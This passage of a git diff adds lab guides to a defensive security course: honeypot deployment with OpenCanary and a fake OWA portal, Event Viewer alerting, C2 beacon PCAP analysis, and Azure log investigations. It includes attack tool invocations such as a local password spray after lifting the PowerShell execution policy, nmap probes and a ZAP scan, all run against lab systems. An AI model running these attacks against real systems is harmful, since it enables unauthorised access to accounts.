click the Windows Start button then type Event Viewer.  + +- It should look like this:  + +![](attachment/Clipboard_2021-03-12-11-16-35.png)  + +- When in the **Event Viewer**, select `Windows Logs` > `Security` then `Create Custom View` on the far-right hand side.  + +- It should look like this:  + +![](attachment/Clipboard_2021-03-12-11-18-15.png)  + +- When `Create Custom View` opens, please select **XML**:  + +![](attachment/Clipboard_2021-03-12-11-19-02.png)  + +- Then, select Edit query Manually, Press **Yes** on the **Alert Box** and then replace the text in the query with the text below:  + +~~~~~~  + + + + + + +~~~~~~ + +- It should look like this:  + +![](attachment/Clipboard_2021-03-12-11-21-57.png)  + +- Now, press **OK**.  + +- When the Save Filter to Custom View box opens, name the filter Frank then press **OK**. + +- When we click on our **new View** we will see the Events associated with the **Frank Account** Being Created:  + +![](attachment/Clipboard_2021-03-12-11-24-20.png)  + +- Now, let's trip a few more.  + +- Back at your Windows Command Prompt  + +```bash +cd \IntroLabs +``` + +```bash +powershell +``` + +```bash +Set-ExecutionPolicy Unrestricted +``` + +```bash +Import-Module .\LocalPasswordSpray.ps1 +``` + +- It should look like this:  + +2026-03-26_09-22 + +- Now, let’s try some **password spraying** against the local system!  + +```bash +Invoke-LocalPasswordSpray -Password Winter2025 +``` + +- It should look like this:  + +2026-02-23_14-55 + +- Now we need to clean up and make sure the system is ready for the rest of the labs:  + +PS C:\Tools> `exit`  + +C:\Tools> `user-remove.bat`  + +2026-02-23_15-02_1 + +- Now, let's see if any **alerts** were generated.  + +- Go back to your **Event Viewer** and refresh (`Action` -> `Refresh`).  + +- You should see the **"Alerts"**!  + +![](attachment/Clipboard_2021-03-12-11-32-18.png)  + +- Just for a bit of reference.  We did this locally as an example of setting this up on a full SIEM.  We did it in less than 20 min.  Your SIEM team working with your AD Ops team should be able to pull this off.  + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/pcap/AdvancedC2PCAPAnalysis.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/honeyshare/HoneyShare.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + +   + +  + +  + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/openCanary.md b/IntroClassFiles/Tools/IntroClass/ADHD/openCanary.md new file mode 100644 index 00000000..e5b02841 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/openCanary.md @@ -0,0 +1,186 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + +# For the Ubuntu VM + + +# OpenCanary + +**Goal:** Deploy a simple **OpenCanary** honeypot, trigger a few attacks (port scan, **SSH/SMB probe**, simple **HTTP request**), and observe **alerts** + +--- + +# Setup + +- Install mysql client for the use in the lab + +```bash +sudo apt install mysql-client-core-8.0 +``` + +- Go to its directory + +```bash +cd ~/ADCD/openCanary +``` + +- Activate the **Virtual Environment** +```bash +source env/bin/activate +``` + +### Create and edit the config +Still inside your virtualenv: + +- Create the default config (this prints the location) +```bash +opencanaryd --copyconfig +``` + +img_01 + +- Make sure it is there + +```bash +sudo ls -l /etc/opencanaryd/opencanary.conf +``` + +img_02 + +- Now open the config and make small edits. Example uses `nano` (or `vi`): + +```bash +sudo nano /etc/opencanaryd/opencanary.conf +``` + +- Inside the JSON config make these **minimal** changes to enable a few services and a log file: + +1. Locate the `"device.node_id"` and set a friendly name like `"opencanary-lab"` + +``` +"device.node_id": "opencanary-lab" +``` + +2. In the `"modules"` (or top-level service entries) enable the following: + +```json +"ssh": {"enabled": true}, +"ssh": {"port": 222}, +"http": {"enabled": true}, +"http": {"port": 8082}, +"ftp": {"enabled": true}, +"mysql": {"enabled": true}, +"mysql": {"log_connection_made": true}, +"telnet": {"enabled": true}, +"portscan": {"enabled": true} +``` + +img_03 +img_04 +img_05 + + +- Save and exit with `Ctrl + x` and `y` and `Enter` + + +--- + +## Start + +- Run it + +>[!NOTE] +> Make sure you are in **~/ADCD/openCanary** with **venv** activated + +```bash +opencanaryd --start +# To stop: +opencanaryd --stop +``` + +img_06 + + +- If you configured file logging as above, check the log: + +```bash +sudo tail -n 50 /var/tmp/opencanary.log +``` + +img_07 + + +--- + +## Simple attacker +Perform these actions from a second terminal (or another device on the same network). Replace `` with the IP address of the VM. + +1. Port scan (nmap) +```bash +sudo nmap -sV -sC -Pn -p 21,23,222,3306,8082 localhost +``` + +img_08 + + +- **OpenCanary's** `portscan` module should flag the scan, so let's check! + +```bash +sudo tail -n 50 /var/tmp/opencanary.log +``` + +img_09 + + +BOOM! + +2. SSH probe (attempt to connect) +```bash +ssh fakeuser@localhost -p 222 +``` +This triggers the `ssh` canary + +3. HTTP request +```bash +curl http://127.0.0.1:8082/index.html +``` +This triggers the `http` canary logs + +4. MySQL login attempt +```bash +mysql -h 127.0.0.1 -u root -p +``` + +5. FTP login attempt +```bash +ftp 127.0.0.1 +``` + +6. TELNET login attempt +```bash +telnet 127.0.0.1 +``` + +- After each action, check the canary log or journal on the honeypot host to see alerts: + +```bash +sudo tail -n 50 /var/tmp/opencanary.log +``` + +img_10 + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Beelzebub.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/HoneyPorts/HoneyPorts.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/pcap/AdvancedC2PCAPAnalysis.md b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/AdvancedC2PCAPAnalysis.md new file mode 100644 index 00000000..3089c8f4 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/AdvancedC2PCAPAnalysis.md @@ -0,0 +1,147 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) +  + +# Advanced C2 PCAP Analysis - vsagent HTTP Beaconing + +# Ubuntu VM + +- First, we will need to open the Ubuntu Terminal + +- Now, we should move to the proper directory + +```bash +cd /ADCD/advancedC2 +``` + +- Let's run a tcpdump command to do an initial review of the capture + +```bash +sudo tcpdump -nA -r vsagent_c2.pcap | less +``` + +- The `-nA` option tells tcpdump not to resolve names (`n`) and print the ASCII text of the packet (`A`). You are reading in a file with the `-r` option and piping the data (`|`) through `less` so you can view it section by section + +2026-03-12_11-43 + + +- Hit spacebar to page through the output. Look for HTTP traffic - you will see `GET /beacon`, `POST /beacon`, and response bodies mixed in with ARP, DNS, and NTP background noise + +- Press `q` to close the tcpdump session + +- One of the interesting things about many malware specimens we review is how they "wait" for the attacker to communicate with them. In this sample, the **vsagent** backdoor **beacons** out every 30 seconds + +- This is for two reasons. One is because the attacker might not be at a system waiting for a command shell. Secondly, because long-term established sessions tend to attract attention - with HTTP, sessions are generally short burst connections. vsagent is designed to mimic that behaviour + +- In the capture, the **SYN** packets are roughly 30 seconds apart for the beacon traffic + +- To see the SYN packets, simply run the following command: + +```bash +sudo tcpdump -r vsagent_c2.pcap 'tcp[13] = 0x02' +``` + +2026-03-12_11-45 + + +- This filter shows all packets with the SYN bit (`0x02`) set in the 13th byte offset of the TCP header (`tcp[13]`) + +- Note the time difference between packets. You can see they are almost all 30 seconds apart for each beacon cycle + +- Now, let's identify the **User-Agent** string the implant is using + +```bash +sudo tcpdump -nA -r vsagent_c2.pcap | grep -i "user-agent" +``` + +2026-03-12_11-47 + + +- You will see two kinds of User-Agent strings - one long `Mozilla/5.0` string from background noise, and the short `vsagent/1.0` string repeating on every beacon connection. A hardcoded, non-browser User-Agent appearing every 30 seconds is a strong indicator of implant traffic + +- Run the following command to isolate all HTTP GET beacons: + +```bash +sudo tcpdump -nA -r vsagent_c2.pcap | grep "GET /beacon" +``` + +- It should look like this: + +2026-03-12_12-05 + +- Notice the fixed URI path `/beacon` across every request, the absence of `Referer` and `Accept-Encoding` headers, and no cookies - all hallmarks of an implant rather than a browser + +- Now let's look for commands delivered by the C2 server: + +```bash +sudo tcpdump -nA -r vsagent_c2.pcap | grep -i "cmd=" +``` + +2026-03-12_12-21 + + +- You should see a number of returned lines. Some will show just `cmd=` with nothing after it - those are idle check-ins. At least one will show `cmd=` followed by what appears to be random data ending with an `=` sign. That trailing `=` padding is a strong indicator the data is **Base64** encoded + +- Does this mean it is evil? Not necessarily. It just means it is interesting + +- You can quickly prove or disprove this by using Python to decode the data. If it is Base64, it will decode cleanly to ASCII. If not, you will keep looking + +- Next, look for the exfiltration traffic: + +```bash +sudo tcpdump -nA -r vsagent_c2.pcap | grep "POST" +``` + +2026-03-12_12-22 + + +- You will see a `POST /beacon` request - the implant shipping stolen data back to the operator using the same URI path it uses for check-ins + +- Run the following to see the exfiltrated data blob: + +```bash +sudo tcpdump -nA -r vsagent_c2.pcap | grep "output=" +``` + +2026-03-12_12-23 + + +- You should see `output=` followed by a Base64 encoded blob - larger than the `cmd=` strings, because task output is typically much longer than the command that produced it + +- Now for the fun part. Let's decode the C2 command. Take the Base64 string you found after `cmd=` in the tasked response and run: + +```bash +python3 -c "import base64; print(base64.b64decode('').decode())" +``` + +2026-03-12_12-27 + + +- When you do this, you will quickly see that the **Base64** encoded data is a PowerShell command to download and execute a remote script - a classic stager that pulls a second-stage payload into memory without writing it to disk + +- Now decode the exfiltrated output blob the same way. Take the Base64 string after `output=` and run: + +```bash +python3 -c "import base64; print(base64.b64decode('').decode())" +``` + +- It should look like this: + +2026-03-12_12-25 + +- You can now see exactly what data the implant shipped to the operator - in this case a `whoami` result and a directory listing of the user's Documents folder + + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/webhoneypot.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHDhoneyuser/honeyuser.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-31-27.png b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-31-27.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-31-27.png rename to IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-31-27.png diff --git a/IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-32-16.png b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-32-16.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-32-16.png rename to IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-32-16.png diff --git a/IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-34-02.png b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-34-02.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-34-02.png rename to IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-34-02.png diff --git a/IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-36-57.png b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-36-57.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-36-57.png rename to IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-36-57.png diff --git a/IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-38-24.png b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-38-24.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-38-24.png rename to IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-38-24.png diff --git a/IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-41-41.png b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-41-41.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-41-41.png rename to IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-41-41.png diff --git a/IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-43-28.png b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-43-28.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-43-28.png rename to IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-43-28.png diff --git a/IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-46-15.png b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-46-15.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/pcap/attachment/Clipboard_2021-03-12-08-46-15.png rename to IntroClassFiles/Tools/IntroClass/ADHD/pcap/attachment/Clipboard_2021-03-12-08-46-15.png diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/pcap/vsagent_c2.pcap b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/vsagent_c2.pcap new file mode 100644 index 00000000..a5827362 Binary files /dev/null and b/IntroClassFiles/Tools/IntroClass/ADHD/pcap/vsagent_c2.pcap differ diff --git a/IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-39-25.png b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-39-25.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-39-25.png rename to IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-39-25.png diff --git a/IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-40-15.png b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-40-15.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-40-15.png rename to IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-40-15.png diff --git a/IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-41-30.png b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-41-30.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-41-30.png rename to IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-41-30.png diff --git a/IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-43-26.png b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-43-26.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-43-26.png rename to IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-43-26.png diff --git a/IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-44-21.png b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-44-21.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-44-21.png rename to IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-44-21.png diff --git a/IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-47-09.png b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-47-09.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-47-09.png rename to IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-47-09.png diff --git a/IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-47-43.png b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-47-43.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-47-43.png rename to IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-47-43.png diff --git a/IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-48-15.png b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-48-15.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-48-15.png rename to IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-48-15.png diff --git a/IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-49-31.png b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-49-31.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-49-31.png rename to IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-49-31.png diff --git a/IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-50-54.png b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-50-54.png similarity index 100% rename from IntroClassFiles/Tools/IntroClass/webhoneypot/attachment/Clipboard_2021-03-12-11-50-54.png rename to IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/attachment/Clipboard_2021-03-12-11-50-54.png diff --git a/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/webhoneypot.md b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/webhoneypot.md new file mode 100644 index 00000000..fc221787 --- /dev/null +++ b/IntroClassFiles/Tools/IntroClass/ADHD/webhoneypot/webhoneypot.md @@ -0,0 +1,157 @@ +![image](https://github.com/user-attachments/assets/068fae26-6e8f-402f-ad69-63a4e6a1f59e) + + +# Web Honeypot + +- In this lab we will be running a very simple web honeypot. Basically, it runs a fake Outlook Web Access page and logs the attacks. + +- This is a good approach as attackers constantly go after anything that looks like an authentication portal. + +- Let's get started. + +- First we will need to open a Linux Terminal: + + + + +- Open **Ubuntu Shell** + +Screenshot From 2026-02-23 10-28-37 + + +- Now, let's start the honeypot: + +```bash +sudo docker run --rm -it -p 80:80 --name owa-container owa-honeypot +``` + +- It should look like this: + +docker_run + + +- Now, let's start another Linux Terminal. + + + + +- Open **Ubuntu Shell** + +Screenshot From 2026-02-23 10-28-37 + + + +- Let's get your Linux IP address. + +```bash +ifconfig +``` + +- Then, gain a shell to the **owa-container** container. Take its CONTAINER ID with the following command. + +```bash +sudo docker ps +``` + +container_id + + +- Take shell at the container. + +```bash +sudo docker exec -it bash +``` + +docker_shell + + +Now, lets tail the **dumppass log**. + +```bash +tail -f dumpass.log +``` + +- Now, let's open a browser window and surf to the **honeypot**: + +```bash +http://YOURLINUXIP +``` + +web_portal + + +- Now, try a bunch of **User IDs** and **passwords**. + +- Now, go back to the Ubuntu **Terminal** with the log and you should see the **IP address** and **UserID/Password** of the attempts. + +web_logs + + +- Now, let's attack it. + +- Select **OWASP ZAP** on your desktop. + +![image](https://github.com/user-attachments/assets/6493b57a-bb9d-4886-8e15-735ce63a93c7) + +- Once **ZAP!** opens, select **Automated Scan**: + +![](attachment/Clipboard_2021-03-12-11-48-15.png) + +- When Automated Scan opens, please put you Kali Linux **IP** in the URL to attack box and select **Attack**. + +- It should look like this: + +![image](https://github.com/user-attachments/assets/c291f9f9-3730-49a6-a874-7d7df5dc5d8e) + +- After a while, you should see some attack strings in your Logs. + +requests_logs + + +Yes... Some attack tools are as obvious as **ZAP:ZAP**. + +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/ADHD/Glastopf.md) + +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/ADHD/pcap/AdvancedC2PCAPAnalysis.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/README.md b/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/README.md index cc16f75d..32cf82e7 100644 --- a/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/README.md +++ b/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/README.md @@ -6,8 +6,19 @@ In this lab we will navigate through log files of an attack simulation on an MSP * [Lab 2 - Machine Pivoting](./ws_3_security_logs.md) * [Lab 3 - Cookie Theft](./cookie_theft.md) * [Lab 4 - Full Domain PWN](./rmm_takeover.md) -*** -[Back to the Navigation Menu](/IntroClassFiles/navigation.md) +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/azure_logs.md) +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/PingCastle.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) + +***Finished with the Labs?*** + +Please be sure to destroy the lab environment! + +[Click here for instructions on how to destroy the Lab Environment](/IntroClassFiles/Tools/IntroClass/LabDestruction/labdestruction.md) + +--- diff --git a/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/azure_logs.md b/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/azure_logs.md index 8478ab48..7ffafa19 100644 --- a/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/azure_logs.md +++ b/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/azure_logs.md @@ -2,43 +2,47 @@ [*Download the log file to follow along*](./logs/InteractiveSignIns_Domain_spray_logs.csv) -In this walkthrough we will be taking a look at a log file that was pulled from **Azure**. +- In this **walkthrough** we will be taking a look at a log file that was pulled from **Azure**. -[Azure](https://azure.microsoft.com/en-us) is a service provided by Microsoft to move a **Domain** into the cloud. While we know the **Domain Controller** records logins if the user used Azure, we need to pull logs to see the failed, attempted, and successful logins. +- [Azure](https://azure.microsoft.com/en-us) is a service provided by Microsoft to move a **Domain** into the cloud. While we know the **Domain Controller** records logins if the user used Azure, we need to pull logs to see the failed, attempted, and successful logins. -Our goal is to find how attackers may have initially accessed our **domain network**. +- Our goal is to find how attackers may have initially accessed our **domain network**. -When we first crack open our log file in notepad, we notice a few things. First, this log file contains **IP addresses**. This is useful for us trying to identify which systems are logging into which account. This logging supplies the time stamp, the account attempting to be accessed, and how they accessed us. With this in mind let’s continue our investigation. +- When we first crack open our log file in **notepad**, we notice a few things. First, this log file contains **IP addresses**. This is useful for us trying to identify which systems are logging into which **account**. This logging supplies the time stamp, the account attempting to be accessed, and how they accessed us. With this in mind let’s continue our investigation. ![Login Times](./images/login_times.PNG) -After scrolling down for a bit, the first thing we should notice is the number of logins all within **seconds** of each other. The chances of every employee attempting to login at the same exact time is nearly **impossible**. This could be an indication that someone is trying to **brute force** login credentials. +- After scrolling down for a bit, the first thing we should notice is the number of logins all within **seconds** of each other. The chances of every employee attempting to login at the same exact time is nearly **impossible**. This could be an indication that someone is trying to **brute force** login credentials. -Let's look closer at the **remote IP addresses**. If they're all the same IP that can give us an indication that either one person is trying to login to all of these accounts or that all the employees are logging in from the same network **(possible, not probable)**. +- Let's look closer at the **remote IP addresses**. If they're all the same IP that can give us an indication that either one person is trying to login to all of these accounts or that all the employees are logging in from the same network **(possible, not probable)**. ![Login IPs](./images/login_ips.PNG) -All of these logins that are within a few seconds of each other come from the same exact **IP**. If you look closer, you can see that **almost all** attempts failed. +- All of these **logins** that are within a few seconds of each other come from the same exact **IP**. If you look closer, you can see that **almost all** attempts failed. -That is not a good sign. That means that someone was doing a [brute force spray attack](https://owasp.org/www-community/attacks/Password_Spraying_Attack) at our **domain**. But there's nothing to worry about as long as no user got compromised right? +- That is not a good sign. That means that someone was doing a [brute force spray attack](https://owasp.org/www-community/attacks/Password_Spraying_Attack) at our **domain**. But there's nothing to worry about as long as no user got compromised right? -Let's go through the logs and make sure all attempts are **failed** before we escalate this incident. +- Let's go through the logs and make sure all attempts are **failed** before we escalate this incident. ![Found Creds](./images/found_creds.PNG) -It looks like **Paul Bowman’s** password was discovered by an attacker during this domain spray. Did the attacker realize that the password was correct and log in? Let's look above all the attempted logins for any activity from **Paul Bowman**. +- It looks like **Paul Bowman’s** password was discovered by an attacker during this domain spray. Did the attacker realize that the password was correct and log in? Let's look above all the attempted logins for any activity from **Paul Bowman**. ![successful login](./images/successful_login.PNG) -It looks like the attacker found his way into the domain through **Paul Bowman's** login information. We can see the success message from a login attempt to the domain. +- It looks like the attacker found his way into the domain through **Paul Bowman's** login information. We can see the success message from a login attempt to the domain. -*** -***Continuing on to the next Lab?*** +>[!IMPORTANT] +>Always when an attack has occured, look for **persistance** and **lateral movement**, ALWAYS! -[Click here to get back to the Navigation Menu](/IntroClassFiles/navigation.md) +*** +Continuing the course?
[Next Lab](/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/ws_3_security_logs.md) -***Finished with the Labs?*** +Want to go back?
[Previous Lab](/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/README.md) + +Looking for a different lab?
[Lab Directory](/IntroClassFiles/navigation.md) +***Finished with the Labs?*** Please be sure to destroy the lab environment! diff --git a/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/cookie_theft.md b/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/cookie_theft.md index c46081d5..684eb3c9 100644 --- a/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/cookie_theft.md +++ b/IntroClassFiles/Tools/IntroClass/AZURE-MSP-WRITEUP-main/cookie_theft.md @@ -2,48 +2,65 @@ [*Download the log file to follow along*](./logs/cookie_theft.csv) -At this point we know that the attacker is trying to **pivot** in the network. +- At this point we know that the attacker is trying to **pivot** in the network. -If the attacker got another user to run a malicious file, what will they do next? Well, this user was a slightly more privileged user and may have access to information an attacker may want. +- If the attacker got another user to run a **malicious file**, what will they do next? Well, this user was a slightly more privileged user and may have access to information an attacker may want. -Let's take the security logs from the workstation that **Paul Bowman** pivoted to and see if we can see what the malicious executable is doing. +- Let's take the **security logs** from the workstation that **Paul Bowman** pivoted to and see if we can see what the malicious executable is doing. -**!!! NOTE: - Once again, the logs file is unique. Please download with the link above and open with notepad or another text editor.** +>[!NOTE] +>Once again, the logs file is unique. Please **download** with the link above and open with notepad or another text editor.** -If the attacker is running commands and scripts to access sensitive information our audit logs should contain evidence of what happened. +- If the attacker is running commands and scripts to access **sensitive information** our audit logs should contain evidence of what happened. -The Audit number that indicates something has attempted to access an object is **"4663"**. Use **"ctrl + f"** and type **"4663"** and tab through the logs. If the attacker did access a sensitive file, it will have the process name of **"SuperSpecializedHighlyAdvancedMalwareBypasser2.exe"**. +- The Audit number that indicates something has attempted to access an object is **"4663"**. Use **"ctrl + f"** and type **"4663"** and tab through the logs. If the attacker did access a sensitive file, it will have the process name of **"SuperSpecializedHighlyAdvancedMalwareBypasser2.exe"**. -We have found a very important **Audit** event. +- We have found a very important **Audit** event. -* RED: Contains Process 4663 and the text **"An attempt was made to access an object"**. This indicates that someone has tried to access something, but we need more information to go off of to get the full story. +
+Contains Process 4663 and the text "An attempt was made to access an object". This indicates that someone has tried
+to access something, but we need more information to go off of to get the full story.
+
-* GREEN: Contains the username **henry.butler**. We know already that **henry.butler** was the next user to get compromised. +
+Contains the username henry.butler. We know already that henry.butler was the next user to get compromised.
+
-* YELLOW: This shows the directory accessed. It looks like something has accessed the cookies of Google Chrome, but the only program that should do that is Chrome itself. If another program has accessed it, then we know that the **users'** cookies have been stolen. +
+This shows the directory accessed. It looks like something has accessed the cookies of Google Chrome, but the only
+program that should do that is Chrome itself. If another program has accessed it, then we know that the users'
+cookies have
+been stolen.
+
-* PURPLE: Shows which program accessed the folder and files. It looks like "**SuperSpecializedHighlyAdvancedMalwareBypasser2.exe**" is the culprit. This is not good. The attacker has just stolen the cookies for **henry.butler** who we know has access to our **RMM**. +
+Shows which program accessed the folder and files. It looks like "SuperSpecializedHighlyAdvancedMalwareBypasser2.exe"
+is the culprit. This is not good. The attacker has just stolen the cookies for henry.butler who we know has access
